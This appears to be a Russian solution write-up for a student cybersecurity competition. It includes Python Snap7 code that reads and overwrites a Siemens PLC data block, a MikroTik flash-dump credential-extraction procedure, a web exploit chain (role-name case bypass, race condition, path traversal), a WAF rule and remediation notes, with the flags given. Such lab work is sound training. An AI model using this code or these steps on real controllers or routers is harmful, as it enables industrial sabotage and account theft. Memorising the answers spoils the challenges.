    С помощью библиотеки Snap7 можно получить доступ к памяти.

    Работа с памятью PLC осуществляется через области памяти (I, Q, M, DB, T, C) и соответствующие функции. Ниже приведены основные команды и их воздействие.

    Основные области памяти PLC

    Inputs (I) — входные сигналы (например, датчики).

    Пример адреса: %I0.0 (бит), %IB1 (байт), %IW2 (слово), %ID4 (двойное слово).

    Outputs (Q) — выходные сигналы (например, исполнительные устройства).

    Пример адреса: %Q0.0, %QB1, %QW2, %QD4.

    Memory (M) — внутренняя память PLC.

    Пример: %M0.0, %MB10, %MW20, %MD30.

    Data Blocks (DB)\verb — блоки данных.

    Пример: DB1.DBB0 (байт), DB1.DBW2 (слово), DB1.DBD4 (двойное слово).

    Timers (T) — таймеры.

    Пример: T0 (значение таймера).

    Counters (C) — счетчики.

    Пример: C1 (значение счетчика).

    В задании нужно вывести свое имя на электронное табло, состоящее из 32 имен, тип данных которых нам неизвестен. Оптимально подходит область памяти Data Blocks (DB).

    Максимальный размер одного DB для большинства моделей S7-1200 (например, CPU 1212C, 1214C, 1215C) с firmware V4.0 и выше максимальный размер одного DB составляет 64 КБ (65,535 байт). Для старых версий firmware (например, V1.0–V3.0) ограничение может быть ниже (например, 16 КБ).

    ДЛя получения информации считываем сначала блок целиком максимальный объем DB для ПЛК S7-1200.

    Python
    # Параметры для чтения DB
    db_number = 1       # Номер блока данных (например, DB1)
    start_offset = 0    # Смещение в байтах от начала DB
    size = 65535        # Количество байт для чтения
    num_reads =30       # Количество итераций чтения
    # Чтение данных из DB
    data = client.db_read(db_number, start_offset, size)
    # Вывод считанных данных в виде байтов
    print(считанные данные: {data}")
    client.disconnect()

    При ошибке чтения уменьшаем количество байт в памяти вдвое. При установке size < 8000 разбираем то, что считали.

    Первые два байта (\xfe\x0c). Структура DB в Siemens типа данных String первый байт имеет фиксированный размер строки \xfe; второй байт \x0c меняется — фактически занятый размер строки.

    Значение xFE в шестнадцатеричной системе счисления (HEX) представляет собой число 254 в десятичной системе счисления. Это будет размер одной строки. Всего 32 имени в электронном табло:

    \(254 \cdot 32\) фамилии в списке \(= 8128\) — размер DB. Добавляем в код.

    Python
    # Параметры для чтения DB
    db_number = 1       # Номер блока данных (например, DB1)
    start_offset = 0    # Начальное смещение в байтах от начала DB
    size = 254          # Количество байт для чтения за одну итерацию
    num_reads = 32      # Количество итераций чтени
    # Чтение данных из DB
    for i in range(num_reads):  # Цикл выполняется 32 раза
        try:
            # Вычисляем смещение для текущей итерации
            offset = start_offset + i * size
            
            # Читаем данные из DB
            data = client.db_read(db_number, offset, size)
            
            # Преобразуем bytearray в bytes для удобства работы
            data = bytes(data)
            
            # Поиск текстовых строк
            while b'\xfe' in data:
                # Находим позицию служебного байта
                marker_index = data.index(b'\xfe')
                
                # Извлекаем текстовую часть после служебного байта
                text_start = marker_index + 2  # Пропускаем \xfe и следующий байт
                text_end = data.find(b'\x00', text_start)  # Ищем конец строки
                
                if text_end == -1:  # Если конец строки не найден
                    break
                
                # Извлекаем текстовую строку
                text = data[text_start:text_end].decode('utf-8', errors='ignore')
                
                # Выводим результат
                print(f"Итерация {i + 1}, Смещение: {offset + marker_index}, Текст: {text}")
                
                # Обрезаем данные, чтобы продолжить поиск
                data = data[text_end:]
        
        except Exception as e:
            print(f"Ошибка при чтении данных на итерации {i + 1}: {e}")
            break  # Прерываем цикл в случае ошибки
    client.disconnect()

    Вывод соответствует информации на табло, размер и место записи теперь определено.

  6. Запись значений в ПЛК Так как мы определили список и формат данных, выбираем смещение в DB для записи в нужную нам строку. Пишем скрипт:

    Python
    ###########################
    db_number = 1          # Номер блока данных (например, DB1)
    start_offset = 768     # Смещение в байтах от начала DB
    max_length = 254        # Максимальная длина строки (например, STRING[20])
    input_string = "Hello, PLC!"  # Строка для записи
    # Функция для преобразования строки в формат Siemens STRING
    def prepare_string(input_string, max_length):
        # Преобразуем строку в байты
        string_bytes = input_string.encode('utf-8')
        
        # Проверяем, что длина строки не превышает максимальную длину
        if len(string_bytes) > max_length:
            raise ValueError(f"Длина строки превышает максимальную длину ({max_length})")
        
        # Создаем байтовый массив для строки
        # Первый байт: максимальная длина
        # Второй байт: текущая длина
        # Остальные байты: символы строки
        data = bytearray(max_length + 2)
        data[0] = max_length         # Максимальная длина
        data[1] = len(string_bytes)  # Текущая длина
        data[2:2 + len(string_bytes)] = string_bytes  # Символы строки
        
        return data
    # Подготавливаем данные для записи
    try:
        data_to_write = prepare_string(input_string, max_length)
    except ValueError as e:
        print(f"Ошибка подготовки данных: {e}")
        client.disconnect()
        exit()
    # Записываем данные в DB
    try:
        client.db_write(db_number, start_offset, data_to_write)
        print(f"Строка успешно записана в DB{db_number} со смещением {start_offset}.")
    except Exception as e:
        print(f"Ошибка записи данных: {e}")
        
    # Чтение данных из DB
    try:
        data = client.db_read(db_number, start_offset, max_length + 2)
        
        # Извлекаем строку из данных
        max_len = data[0]
        current_len = data[1]
        string_data = data[2:2 + current_len].decode('utf-8', errors='ignore')
        
        print(f"Прочитанная строка: {string_data}")
    except Exception as e:
        print(f"Ошибка чтения данных: {e}")
    # Закрываем соединение
    """
    client.disconnect()

    Наблюдаем изменение на табло поезда.

Задание 28. Кроличья нора

Необходимо получить доступ к устройствам по кредам и забрать флаг.

В представленных пяти MikroTik RB951Ui-2HnD в корне устройства находится флаг.

  1. На выбор будут даны 5 чипов памяти.
  2. Выбранный чип памяти необходимо считать при помощи устройства Universal Programmer RT809H и программного обеспечения RT809H.exe.
  3. Получить на выходе файл формата [W29N01GV@TSOP48_5641.BIN].
  4. Далее при помощи утилиты MTPass пройтись по дампу памяти. Как результат сканирования дампа, будут извлечены пары [Login: Pass] от устройства.
  5. Применить полученные креды на одном из пяти MikroTik RB951Ui-2HnD.
  6. С внутреннего хранилища устройства скачать файл NTO(2H=nS@fsz=Mxj&- {b%3TY]tQNLny}W+), в зависимости от устройства.
  7. Восстановить исходный формат файла.
  8. Открыть файл.
  9. Найти строку с флагом и выгрузить на портал. Результатом считается строка с f1@g-mt —> NTO(2H=nS@fsz=Mxj&-{b%3TY]tQNLny}W)+

    и для экспертной оценки, также полный рисунок в ASCII графике.

Флаг: NTO(2H=nS@fsz=Mxj&-{b%3TY]tQNLny}W+).

Задание 29. Мониторинг будущего!

Присутствует регистрация пользователей. Только зарегистрированному пользователю необходимо получить роль админа. Есть функционал запроса любой роли, кроме admin, из-за сравнения в mysql, обходится это изменением регистра букв, например ADmin.

После запроса роли необходимо ввести секретный код, который доступен только у админа. Приложение уязвимо к race condition, есть очень короткий момент, когда секрет пустой. Пользователь отправляет сразу после запроса роли пустой секретный код и получает роль админа.

После получения роли admin доступна новая ручка /admin, в котором реализован функционал добавления сервиса в систему мониторинга. Приложение заходит на соседний контейнер за статусами сервисов по ручке /status/service-name. Флаг находится на ручке /flag. Пользователь должен создать сервис с названием ../flag, чтобы приложение обратилось по пути /status/../flag аналогично /flag, получив, тем самым, флаг на главной странице в статусе созданного сервиса.

Флаг: nto{S7aTus_sy5t3m_1s_h4ck3d_7ru3}.

Задание 30. Мониторинг WAF

WAF разворачивается вместе с приложением, он активен, но без активных правил. Чтобы активировать правило, нужно написать его в файл waf/owasp-crs/rules/monitoring.conf и перезапустить контейнер с вафом. Правило для path traversal уже написано, его нужно раскоментить и перезапустить контейнер для активации.

Правило, которое закрывает уязвимость:

SecRule REQUEST_URI|REQUEST_BODY "@contains ../" \
    "id:1234,\
    phase:2,\
    deny,\
    capture,\
    t:urlDecode,t:urlDecode,\
    msg:'Path traversal!',\
    logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\
    severity:'CRITICAL'"

Решение: запуск сплоита (редактируем адрес приложения):

python3 sploit/sploit.py

Задание 31. Непрошеные гости!

Проблема не заставила себя долго ждать: в системе появились подозрительные сервисы, незнакомые нашим инженерам. Пока «Таежный кролик» не воспользовался этим, нужно срочно подключиться к веб-серверу, найти лазейки и перекрыть вектор атаки.

Ваши задачи:

  1. оперативно выяснить, какие векторы атаки возможны; (30 баллов)
  2. восстановить безопасность системы. (30 баллов)

Помните, только от вас зависит, как быстро мы сможем выгнать «кролика» из дома.

Ход решения

Часть 1. Поиск и оценка уязвимостей — формат сдачи: отчет об уязвимостях

Стоимость: 5, 10, 15 + 5 баллов за дополнительные ошибки, найденные вручную.

  1. В репозитории настроен GitLab CI с внешним пайплайном, где настроен SAST. Участники получают креды для доступа к sonarqube.
  2. Из всех ошибок безопасности нужно выделить следующее: SQL Injection, отключение CSRF-токенов, открытые секретные ключи и пароли (они прописаны в коде).
  3. Необходимо подготовить отчет с описанием этих уязвимостей со ссылкой на код, именно: где эта уязвимость и чем она опасна.

Дополнительные ошибки:

  • пароли пользователей хранятся в базе данных в открытом виде;
  • отсутствие декоратора login_view.

Часть 2. Исправление уязвимостей формат сдачи: отчет об изменениях + исходный код

Стоимость: 5, 10, 15 + 5 баллов за дополнительные ошибки, найденные вручную.

  1. SQL injection закрывается тем, что от сырых SQL запросов надо перейти полностью на запросы через ORM.
  2. Необходимо из всех view-методов убрать декоратор csrf_exempt + добавление middleware.
  3. Переход на переменные окружения.

Дополнительные ошибки:

  1. Пароли пользователей хранятся в открытом виде, поэтому следует добавить, чтобы они хранились в виде хеша (необходимо взять криптостойкую хеш-функцию, за md5 давать 1 балл).
  2. Восстановление декоратора login_view для всех методов, кроме user_login, user_registrtion.

Уязвимости:

  1. SQL injection.

    Вектор атаки: компрометация данных сервиса, слитие учетных записей.

    Решение: перейти от сырых SQL запросов к запросам через ORM (не должно быть в коде быть сырых sql-запросов).

  2. Отключение CSRF-токенов.

    Вектор атаки: злоумышленник создает фишинговую страницу или внедряет JavaScript-код на стороннем сайте, который автоматически отправляет запросы к вашему Django-приложению.

    Защита: необходимо из всех view-методов, где есть обработка POST-запросов, убрать декоратор csrf_exempt, а кроме того, в файле settings.py в списке MIDDLEWARE должен быть django.middleware.csrf.CsrfViewMiddleware.

  3. Открытые секретные ключи и пароли.

    Вектор атаки: при компрометированном исходном коде злоумышленник может получить доступы к базам данным, yandex-почте для отправки запросов, секретные ключи для бэкендов.

    Защита: существуют три сценария развития; в первом — переход на переменные окружения (поскольку проект сам находиться в докере), во втором — переход на секреты через Docker Secrets, в третьем — переход на хранение секретов в файле (не в гите). Все три варианта являются равноправными и допустимыми.

Дополнительные уязвимости:

  1. Открытые пароли в базе данных.

    Вектор атаки: при компрометации базы данных злоумышленник получает доступы ко всем учетным записям, так как получает список логинов и паролей.

    Защита: пароли необходимо хранить в виде хэша; необходимо использовать криптостойкие хэш-функции, например sha256 (если используют md5, то добавляется 1 балл).

  2. Отсутствие декоратора login_view над некоторыми view.

    Вектор атаки: злоумышленник имеет доступ ко всем страницам сайта сразу, что открывает возможность использовать другие уязвимости быстрее.

    Защита: над всеми view, кроме login и registration, должен быть декоратор login_view.

Задача является решенной, если были найдены три основные уязвимости, описаны возможные векторы атаки и во второй части исправлены.

Материалы для подготовки
Инструменты:
  1. Kali Linux;
  2. Burp;
  3. dnSpy;
  4. Wireshark;
  5. Virtualbox;
  6. Visual Studio Code;
  7. Docker, Docker Compose;
  8. Mtpass;
  9. VirusTotal;
  10. Process Hacker;
  11. Ghidra.
Материалы для подготовки
  1. OWASP. Cross-Site Request Forgery (CSRF): https://owasp.org/www-community/attacks/csrf.
  2. Codedokode. Безопасность — материалы репозитория Pasta: https://github.com/codedokode/pasta/tree/master/security.
  3. XSS Game — Интерактивное обучение XSS-уязвимостям: https://xss-game.appspot.com/.
  4. OWASP. Cross-Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/.
  5. OWASP. Testing for Remote File Inclusion: https://wiki.owasp.org/index.php/Testing_for_Remote_File_Inclusion.
  6. OWASP Cheat Sheet Series. Cross-Site Request Forgery Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html.
  7. CryptoHack — Образовательная платформа по криптографии: https://cryptohack.org/.
  8. OWASP. SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection.
  9. HttpDump — Сервис перехвата HTTP-запросов: https://httpdump.app/.
  10. Beeceptor — Сервис создания REST API моков: https://beeceptor.com/.
  11. Squeamish Ossifrage — Блог по информационной безопасности: https://squeamishossifrage.eu/.
  12. PortSwigger Web Security Academy: https://portswigger.net/web-security.
  13. Shellphish. how2heap — репозиторий по изучению heap exploitation: https://github.com/shellphish/how2heap.
  14. YouTube. Плейлист по информационной безопасности: https://www.youtube.com/watch?v=pNvpCpW6Y_U&list=PLLguubeCGWoY12PWrD-oV3nZg3sjJNKxm.
  15. Кибербезопасность КМБ: https://kmb.cybber.ru/about.html.
  16. Info-Savvy. What is Malware Forensics?: https://info-savvy.com/what-is-malware-forensics/.
  17. BigNerd95. RouterOS Backup Tools — репозиторий GitHub: https://github.com/BigNerd95/RouterOS-Backup-Tools.
  18. Manios MikroTik password decoder: http://manio.skyboo.net/mikrotik/mtpass-0.9.tar.bz2.
  19. Crackmes.one — Платформа для реверс-инжиниринга: https://crackmes.one/.
  20. Pwnable.kr — Образовательная платформа по CTF: https://pwnable.kr/.
  21. pwn.college — Интерактивное обучение информационной безопасности: https://pwn.college/.
  22. МИРеа CTF 365: https://365.mireactf.ru/.
  23. МИРеа CTF: https://mireactf.ru/.
  24. eLibrary. Научная статья по тематике информационной безопасности: https://www.elibrary.ru/item.asp?edn=vhhwmz.
text slider background image text slider background image
text slider background image text slider background image text slider background image text slider background image